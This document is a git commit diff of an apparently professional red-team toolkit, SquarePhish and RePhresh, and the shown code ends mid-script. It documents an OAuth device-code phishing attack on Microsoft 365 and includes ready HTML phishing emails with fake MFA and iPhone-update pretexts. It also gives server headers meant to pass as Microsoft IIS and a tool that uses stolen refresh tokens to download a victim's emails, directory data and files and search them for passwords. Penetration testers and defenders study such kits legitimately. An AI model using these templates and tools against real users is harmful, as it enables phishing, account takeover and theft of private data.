initial commit
@@ -0,0 +1,201 @@
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright [yyyy] [name of copyright owner]
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -1 +1,183 @@
|
||||
# SquarePhish
|
||||
|
||||
SquarePhish is an advanced phishing tool that uses a technique combining the OAuth Device code authentication flow and QR codes.
|
||||
|
||||
> See [PhishInSuits](https://github.com/secureworks/PhishInSuits) for more details on using OAuth Device Code flow for phishing attacks.
|
||||
|
||||
```
|
||||
|
||||
_____ _____ _ _ _
|
||||
/ ____| | __ \| | (_) | |
|
||||
| (___ __ _ _ _ __ _ _ __ ___| |__) | |__ _ ___| |__
|
||||
\___ \ / _` | | | |/ _` | '__/ _ \ ___/| '_ \| / __| '_ \
|
||||
____) | (_| | |_| | (_| | | | __/ | | | | | \__ \ | | |
|
||||
|_____/ \__, |\__,_|\__,_|_| \___|_| |_| |_|_|___/_| |_|
|
||||
| |
|
||||
|_|
|
||||
_________
|
||||
| | /(
|
||||
| O |/ (
|
||||
|> |\ ( v0.1.0
|
||||
|_________| \(
|
||||
|
||||
usage: squish.py [-h] {email,server} ...
|
||||
|
||||
SquarePhish -- v0.1.0
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
|
||||
modules:
|
||||
{email,server}
|
||||
email send a malicious QR Code email to a provided victim
|
||||
server host a malicious server QR Codes generated via the 'email' module will
|
||||
point to that will activate the malicious OAuth Device Code flow
|
||||
```
|
||||
|
||||
## Attack Steps
|
||||
|
||||
An attacker can use the `email` module of SquarePhish to send a malicious QR code email to a victim. The default pretext is that the victim is required to update their iPhone's O365 authentication to continue using mobile email. The current client ID in use is the iOS Apple Client ID.
|
||||
|
||||
> By sending a QR code first, the attacker can avoid prematurely starting the OAuth Device Code flow that lasts only 15 minutes.
|
||||
|
||||
<img src="resc/1st_email.png" width="400"/>
|
||||
|
||||
The victim will then scan the QR code found in the email body with their mobile device. The QR code will direct the victim to the attacker controlled server (running the `server` module of SquarePhish), with a URL paramater set to their email address.
|
||||
|
||||
<img src="resc/qrcode.png" width="400"/>
|
||||
|
||||
When the victim visits the malicious SquarePhish server, a background process is triggered that will start the OAuth Device Code authentication flow and email the victim a generated Device Code they are then required to enter into the legitimate Microsoft Device Code website (this will start the OAuth Device Code flow 15 minute timer).
|
||||
|
||||
<img src="resc/2nd_email.png" width="400"/>
|
||||
|
||||
The SquarePhish server will then continue to poll for authentication in the background.
|
||||
|
||||
```
|
||||
[2022-04-08 14:31:51,962] [info] [minnow@square.phish] Polling for user authentication...
|
||||
[2022-04-08 14:31:57,185] [info] [minnow@square.phish] Polling for user authentication...
|
||||
[2022-04-08 14:32:02,372] [info] [minnow@square.phish] Polling for user authentication...
|
||||
[2022-04-08 14:32:07,516] [info] [minnow@square.phish] Polling for user authentication...
|
||||
[2022-04-08 14:32:12,847] [info] [minnow@square.phish] Polling for user authentication...
|
||||
[2022-04-08 14:32:17,993] [info] [minnow@square.phish] Polling for user authentication...
|
||||
[2022-04-08 14:32:23,169] [info] [minnow@square.phish] Polling for user authentication...
|
||||
[2022-04-08 14:32:28,492] [info] [minnow@square.phish] Polling for user authentication...
|
||||
```
|
||||
|
||||
The victim will then visit the Microsoft Device Code authentication site from either the link provided in the email or via a redirect from visiting the SquarePhish URL on their mobile device.
|
||||
|
||||
<img src="resc/mssite.png" width="400"/>
|
||||
|
||||
The victim will then enter the provided Device Code and will be prompted for consent.
|
||||
|
||||
<img src="resc/consent.png" width="400"/>
|
||||
|
||||
After the victim authenticates and consents, an authentication token is saved locally and will provide the attacker access via the defined scope of the requesting application.
|
||||
|
||||
```
|
||||
[2022-04-08 14:32:28,796] [info] [minnow@square.phish] Token info saved to minnow@square.phish.tokeninfo.json
|
||||
```
|
||||
|
||||
The current scope definition:
|
||||
```
|
||||
"scope": ".default offline_access profile openid"
|
||||
```
|
||||
|
||||
# Usage
|
||||
|
||||
> !IMPORTANT: Before using either module, update the required information in the [settings.config](settings.config) file noted with `Required`.
|
||||
|
||||
## Email Module
|
||||
|
||||
Send the target victim a generated QR code that will trigger the OAuth Device Code flow.
|
||||
|
||||
```
|
||||
usage: squish.py email [-h] [-c CONFIG] [--debug] [-e EMAIL]
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
|
||||
-c CONFIG, --config CONFIG
|
||||
squarephish config file [Default: settings.config]
|
||||
|
||||
--debug enable server debugging
|
||||
|
||||
-e EMAIL, --email EMAIL
|
||||
victim email address to send initial QR code email to
|
||||
```
|
||||
|
||||
## Server Module
|
||||
|
||||
Host a server that a generated QR code will be pointed to and when requested will trigger the OAuth Device Code flow.
|
||||
|
||||
```
|
||||
usage: squish.py server [-h] [-c CONFIG] [--debug]
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
|
||||
-c CONFIG, --config CONFIG
|
||||
squarephish config file [Default: settings.config]
|
||||
|
||||
--debug enable server debugging
|
||||
```
|
||||
|
||||
## Configuration
|
||||
|
||||
All of the applicable settings for execution can be found and modified via the [settings.config](settings.config) file. There are several pieces of required information that do not have a default value that must be filled out by the user: SMTP_EMAIL, SMTP_PASSWORD, and SQUAREPHISH_SERVER (only when executing the email module). All configuration options have been documented within the settings file via in-line comments.
|
||||
|
||||
**Note**: The `SQUAREPHISH_` values present in the 'EMAIL' section of the configuration should match the values set when running the SquarePhish server.
|
||||
|
||||
```conf
|
||||
[DEFAULT]
|
||||
SMTP_PORT = 465 # SMTP port, defaulted to 465
|
||||
SMTP_SERVER = "smtp.gmail.com" # SMTP server, defaulted to GMail
|
||||
SMTP_EMAIL = "" # Required: Provide authenticating email address here
|
||||
SMTP_PASSWORD = "" # Required: Provide authenticating password here
|
||||
|
||||
[EMAIL]
|
||||
SQUAREPHISH_SERVER = "" # Required: Provide IP address/domain name of hosted SquarePhish server
|
||||
SQUAREPHISH_PORT = 8443 # Hosted SquarePhish server port, defaulted to 8443 (this should match the below server value)
|
||||
SQUAREPHISH_ENDPOINT = "/mfa" # Hosted SquarePhish endpoint to trigger OAuth Device Code flow, defaulted to an MFA pretext (this should match the below server value)
|
||||
FROM_EMAIL = "admin@square.phish" # Default FROM address when sending an email
|
||||
SUBJECT = "ACTION REQUIRED: Multi-Factor Authentication (MFA) Update" # Default SUBJECT when sending an email, defauled to an MFA pretext
|
||||
EMAIL_TEMPLATE = "pretexts/mfa/qrcode_email.html" # Email body template for QR code email to victim
|
||||
|
||||
[SERVER]
|
||||
PORT = 8443
|
||||
FROM_EMAIL = "admin@square.phish" # Default FROM address when sending an email
|
||||
SUBJECT = "ACTION REQUIRED: Multi-Factor Authentication (MFA) Update" # Default SUBJECT when sending an email, defauled to an MFA pretext
|
||||
CLIENT_ID = "4813382a-8fa7-425e-ab75-3b753aab3abb" # Authenticating client ID, defaulted to Microsoft Authenticator App
|
||||
ENDPOINT = "/mfa" # Hosted endpoint to trigger OAuth Device Code flow, defaulted to an MFA pretext
|
||||
CERT_CRT = "" # Server SSL certificate .crt file
|
||||
CERT_KEY = "" # Server SSL certificate .key file
|
||||
EMAIL_TEMPLATE = "pretexts/mfa/devicecode_email.html" # Email body template for device code email to victim
|
||||
PERMISSION_SCOPE = ".default offline_access profile openid" # OAuth permission scope - https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-permissions-and-consent
|
||||
```
|
||||
|
||||
## Custom Pretexts
|
||||
|
||||
Currently, the pre-defined pretexts can be found in the [pretexts](pretexts/) folder.
|
||||
|
||||
To write custom pretexts, use the existing template via the [pretexts/iphone/](pretexts/iphone/) folder. An email template is required for both the initial QR code email as well as the follow up device code email.
|
||||
|
||||
**Important**: When writing a custom pretext, note the existence of `%s` in both pretext templates. This exists to allow SquarePhish to populate the correct data when generating emails (QR code data and/or device code value).
|
||||
|
||||
|
||||
## OPSEC
|
||||
|
||||
There are several HTTP response headers defined in the [utils.py](squarephish/utils.py#L28) file. These headers are defined to override any existing Flask response header values and to provide a more 'legitimate' response from the server. These header values can be modified, removed and/or additional headers can be included for better OPSEC.
|
||||
|
||||
```json
|
||||
{
|
||||
"vary": "Accept-Encoding",
|
||||
"server": "Microsoft-IIS/10.0",
|
||||
"tls_version": "tls1.3",
|
||||
"content-type": "text/html; charset=utf-8",
|
||||
"x-appversion": "1.0.8125.42964",
|
||||
"x-frame-options": "SAMEORIGIN",
|
||||
"x-ua-compatible": "IE=Edge;chrome=1",
|
||||
"x-xss-protection": "1; mode=block",
|
||||
"x-content-type-options": "nosniff",
|
||||
"strict-transport-security": "max-age=31536000",
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,18 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<body>
|
||||
<div style="background-color:#eee;padding:10px 20px;">
|
||||
<h2 style="font-family:Georgia, 'Times New Roman', Times, serif; color: #454349;">iPhone Device Code</h2>
|
||||
</div>
|
||||
<div style="padding:20px 0px">
|
||||
<div style="height: 500px;width:400px">
|
||||
<p> Your iPhone device code is: <b>%s</b></p>
|
||||
<p> Enter the code at <a href="https://login.microsoftonline.com/common/oauth2/deviceauth">
|
||||
https://login.microsoftonline.com/common/oauth2/deviceauth</a> to complete your login.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,22 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<body>
|
||||
<div style="background-color:#eee;padding:10px 20px;">
|
||||
<h2 style="font-family:Georgia, 'Times New Roman', Times, serif; color: #454349;">iPhone Update Needed</h2>
|
||||
</div>
|
||||
<div style="padding:20px 0px">
|
||||
<div style="height: 500px;width:400px">
|
||||
<p> Your iPhone Office 365 Authentcation has expired. Please scan the QR code below to generate a new
|
||||
Office 365 device code for your iPhone.</p>
|
||||
<p> The code will be emailed to you, and you should enter it at
|
||||
<a
|
||||
href="https://login.microsoftonline.com/common/oauth2/deviceauth">https://login.microsoftonline.com/common/oauth2/deviceauth</a>
|
||||
</p>
|
||||
<img src="data:image/png;base64, %s">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,18 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<body>
|
||||
<div style="background-color:#eee;padding:10px 20px;">
|
||||
<h2 style="font-family:Georgia, 'Times New Roman', Times, serif; color: #454349;">MFA Device Code</h2>
|
||||
</div>
|
||||
<div style="padding:20px 0px">
|
||||
<div style="height: 500px;width:400px">
|
||||
<p> Your MFA device code is: <b>%s</b></p>
|
||||
<p> Enter the code at <a href="https://login.microsoftonline.com/common/oauth2/deviceauth">
|
||||
https://login.microsoftonline.com/common/oauth2/deviceauth</a> to complete your login.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,22 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<body>
|
||||
<div style="background-color:#eee;padding:10px 20px;">
|
||||
<h2 style="font-family:Georgia, 'Times New Roman', Times, serif; color: #454349;">Microsoft Authenticator Update Needed</h2>
|
||||
</div>
|
||||
<div style="padding:20px 0px">
|
||||
<div style="height: 500px;width:400px">
|
||||
<p> Your Microsoft Authenticator token has expired. Please scan the QR code below to generate a new
|
||||
device code for your Microsoft Authenticator App.</p>
|
||||
<p> The code will be emailed to you, and you should enter it at
|
||||
<a
|
||||
href="https://login.microsoftonline.com/common/oauth2/deviceauth">https://login.microsoftonline.com/common/oauth2/deviceauth</a>
|
||||
</p>
|
||||
<img src="data:image/png;base64, %s">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,108 @@
|
||||
# RePhresh
|
||||
|
||||
This is a support tool that is meant to be used with the output from `SquarePhish`.
|
||||
|
||||
RePhresh will take in the SquarePhish generated JSON file containing the target bearer token information, parse the token and request new refresh token(s) for given client IDs. Once the refresh tokens are acquired, RePhresh will fetch associated data (e.g. requesting a token for Microsoft Office will retrieve all emails for the given user).
|
||||
|
||||
This approach is based on the research: [Family of Client IDs](https://github.com/secureworks/family-of-client-ids-research)
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
____ ____ __ __
|
||||
/ __ \___ / __ \/ /_ ________ _____/ /_
|
||||
/ /_/ / _ \/ /_/ / __ \/ ___/ _ \/ ___/ __ \
|
||||
/ _, _/ __/ ____/ / / / / / __(__ ) / / /
|
||||
/_/ |_|\___/_/ /_/ /_/_/ \___/____/_/ /_/
|
||||
|
||||
o O v0.1.0
|
||||
o _/_
|
||||
. /o \//
|
||||
=___/\\
|
||||
''
|
||||
|
||||
usage: rephresh.py [-h] -t TOKENFILE [-d DOMAIN] [-m MODULE] [--debug]
|
||||
|
||||
RePhresh -- v0.1.0
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
|
||||
-t TOKENFILE, --tokenfile TOKENFILE
|
||||
SquarePhish generated token file containing JSON bearer token
|
||||
|
||||
-d DOMAIN, --domain DOMAIN
|
||||
target domain to acquire tenant ID (if none provided, domain is
|
||||
extracted from token file name)
|
||||
|
||||
-m MODULE, --module MODULE
|
||||
specify module(s) to run (comma delimited)
|
||||
(all | emails,users,groups,organization,onedrive,sharepoint)
|
||||
[default: all]
|
||||
|
||||
-s SEARCH, --search SEARCH
|
||||
specify keyword(s) to use when searching (comma delimited)
|
||||
[default: password,username]
|
||||
|
||||
--debug enable debugging
|
||||
```
|
||||
|
||||
## Modules
|
||||
|
||||
```
|
||||
[2022-04-22 01:25:58,337] [info] Output directory: output/minnow@square.phish.20220422052558
|
||||
[2022-04-22 01:25:58,338] [info] Acquiring refresh token for 'Microsoft Office'
|
||||
[2022-04-22 01:25:58,733] [info] Fetching emails
|
||||
[2022-04-22 01:26:01,367] [info] Emails: 48
|
||||
[2022-04-22 01:26:01,367] [info] Output: minnow@square.phish.emails.json
|
||||
[2022-04-22 01:26:01,374] [info] Searching emails: ['password', 'username']
|
||||
[2022-04-22 01:26:01,686] [info] Results: 1
|
||||
[2022-04-22 01:26:01,686] [info] Output: minnow@square.phish.searchemails.json
|
||||
[2022-04-22 01:26:01,687] [info] Fetching users
|
||||
[2022-04-22 01:26:02,300] [info] Users: 75
|
||||
[2022-04-22 01:26:02,300] [info] Output: minnow@square.phish.users.json
|
||||
[2022-04-22 01:26:02,302] [info] Fetching groups
|
||||
[2022-04-22 01:26:02,650] [info] Groups: 39
|
||||
[2022-04-22 01:26:02,650] [info] Output: minnow@square.phish.groups.json
|
||||
[2022-04-22 01:26:02,653] [info] Fetching organizations
|
||||
[2022-04-22 01:26:02,980] [info] Organizations: 1
|
||||
[2022-04-22 01:26:02,980] [info] Output: minnow@square.phish.organizations.json
|
||||
[2022-04-22 01:26:02,982] [info] Fetching OneDrive drives
|
||||
[2022-04-22 01:26:03,370] [info] Drives: 1
|
||||
[2022-04-22 01:26:03,371] [info] Output: minnow@square.phish.drives.json
|
||||
[2022-04-22 01:26:03,371] [info] Searching OneDrive files (by name): ['password', 'username']
|
||||
[2022-04-22 01:26:04,534] [info] Files: 1
|
||||
[2022-04-22 01:26:04,534] [info] Output: minnow@square.phish.searchdrives.json
|
||||
[2022-04-22 01:26:04,534] [info] Acquiring refresh token for 'SharePoint'
|
||||
[2022-04-22 01:26:04,899] [info] Searching SharePoint and OneDrive contents: ['password', 'username']
|
||||
[2022-04-22 01:26:05,375] [info] Results: 3
|
||||
[2022-04-22 01:26:05,375] [info] Output: minnow@square.phish.search.json
|
||||
```
|
||||
|
||||
### Emails
|
||||
|
||||
Acquire a refresh token for `Microsoft Office` and perform two actions:
|
||||
1. Fetch and save all emails associated to the authenticating account.
|
||||
2. Search all emails for given keywords.
|
||||
|
||||
### Users
|
||||
|
||||
Acquire a refresh token for `Microsoft Office` and then fetch and save all users accessible to the authenticating account.
|
||||
|
||||
### Groups
|
||||
|
||||
Acquire a refresh token for `Microsoft Office` and then fetch and save all groups accessible to the authenticating account.
|
||||
|
||||
### Organization
|
||||
|
||||
Acquire a refresh token for `Microsoft Office` and then fetch and save all organization data accessible to the authenticating account.
|
||||
|
||||
### OneDrive
|
||||
|
||||
Acquire a refresh token for `Microsoft Office` and perform two actions:
|
||||
1. Fetch and save all OneDrive drives accessible to the authenticating account.
|
||||
2. Search all accessible drives for given keywords.
|
||||
|
||||
### SharePoint
|
||||
|
||||
Acquire a refresh token for `SharePoint` and then use the Microsoft Search API to search content in OneDrive and SharePoint.
|
||||
@@ -0,0 +1,186 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
import sys
|
||||
import json
|
||||
import urllib3
|
||||
import logging
|
||||
import argparse
|
||||
from pathlib import Path
|
||||
from datetime import datetime
|
||||
from datetime import timezone
|
||||
from rephresh import __title__
|
||||
from rephresh import __version__
|
||||
from rephresh import utils
|
||||
from rephresh import acquire
|
||||
from rephresh.modules import Emails
|
||||
from rephresh.modules import Groups
|
||||
from rephresh.modules import OneDrive
|
||||
from rephresh.modules import Organization
|
||||
from rephresh.modules import SharePoint
|
||||
from rephresh.modules import Users
|
||||
from rephresh.modules.module import ModuleState
|
||||
|
||||
|
||||
# Disable insecure request warnings
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print(utils.BANNER)
|
||||
|
||||
parser = argparse.ArgumentParser(description=f"{__title__} -- v{__version__}")
|
||||
|
||||
parser.add_argument(
|
||||
"-t",
|
||||
"--tokenfile",
|
||||
type=str,
|
||||
help="SquarePhish generated token file containing JSON bearer token",
|
||||
required=True,
|
||||
)
|
||||
parser.add_argument(
|
||||
"-d",
|
||||
"--domain",
|
||||
type=str,
|
||||
help=(
|
||||
"target domain to acquire tenant ID (if none provided, domain is extracted from "
|
||||
"token file name)"
|
||||
),
|
||||
)
|
||||
parser.add_argument(
|
||||
"-m",
|
||||
"--module",
|
||||
type=str,
|
||||
default="all",
|
||||
help=(
|
||||
"specify module(s) to run (comma delimited) "
|
||||
"(all | emails,users,groups,organization,onedrive,sharepoint) "
|
||||
"[default: all]"
|
||||
),
|
||||
)
|
||||
parser.add_argument(
|
||||
"-s",
|
||||
"--search",
|
||||
type=str,
|
||||
default=utils.SEARCH_KEYWORDS,
|
||||
help=(
|
||||
"specify keyword(s) to use when searching (comma delimited) "
|
||||
"[default: password,username]"
|
||||
),
|
||||
)
|
||||
parser.add_argument("--debug", action="store_true", help="enable debugging")
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
# Initialize logging level and format
|
||||
utils.init_logger(args.debug)
|
||||
|
||||
# Read in the token file as a JSON object and extract the refresh token
|
||||
try:
|
||||
with open(args.tokenfile, "r") as f:
|
||||
token_info = json.loads(f.read())
|
||||
refresh_token = token_info["refresh_token"]
|
||||
|
||||
# Catch invalid file exceptions
|
||||
except FileNotFoundError:
|
||||
logging.error("Invalid token file provided")
|
||||
sys.exit(1)
|
||||
|
||||
# Catch JSON parsing exceptions
|
||||
except (KeyError, json.decoder.JSONDecodeError, TypeError) as e:
|
||||
logging.error(f"Error: {e}")
|
||||
sys.exit(1)
|
||||
|
||||
# Parse modules to execute, remove invalid modules
|
||||
args.module = args.module.split(",")
|
||||
for m in args.module:
|
||||
if m not in utils.DATA_MODULES:
|
||||
logging.error(f"Skipping invalid module: '{m}'")
|
||||
|
||||
args.module = [x for x in args.module if x in utils.DATA_MODULES]
|
||||
if len(args.module) < 1:
|
||||
logging.error("No modules provided")
|
||||
sys.exit(1)
|
||||
|
||||
logging.debug(f"Modules: {args.module}")
|
||||
|
||||
# Parse token filename for domain and email
|
||||
# Remove path from full file name
|
||||
token_filename = args.tokenfile.split("/")[-1]
|
||||
logging.debug(f"Token file: {token_filename}")
|
||||
|
||||
# Remove extension, extract email
|
||||
token_email = token_filename.replace(".tokeninfo.json", "")
|
||||
if not args.domain:
|
||||
try:
|
||||
args.domain = token_email.split("@")[1] # Grab domain
|
||||
|
||||
except IndexError:
|
||||
logging.error("Could not parse domain from token file name")
|
||||
logging.error("Please provide a domain via -d/--domain")
|
||||
sys.exit(1)
|
||||
|
||||
logging.debug(f"Token UPN: {token_email}")
|
||||
logging.debug(f"Domain: {args.domain}")
|
||||
|
||||
# Attempt to acquire the tenant ID from OpenID-Configuration
|
||||
tenant_id = acquire.acquire_tenant_id(domain=args.domain)
|
||||
if not tenant_id:
|
||||
logging.error("[!] Failed to retrieve tenant ID")
|
||||
sys.exit(1)
|
||||
|
||||
logging.debug(f"Tenant ID: {tenant_id}")
|
||||
|
||||
# If needed, rebuild custom search keywords
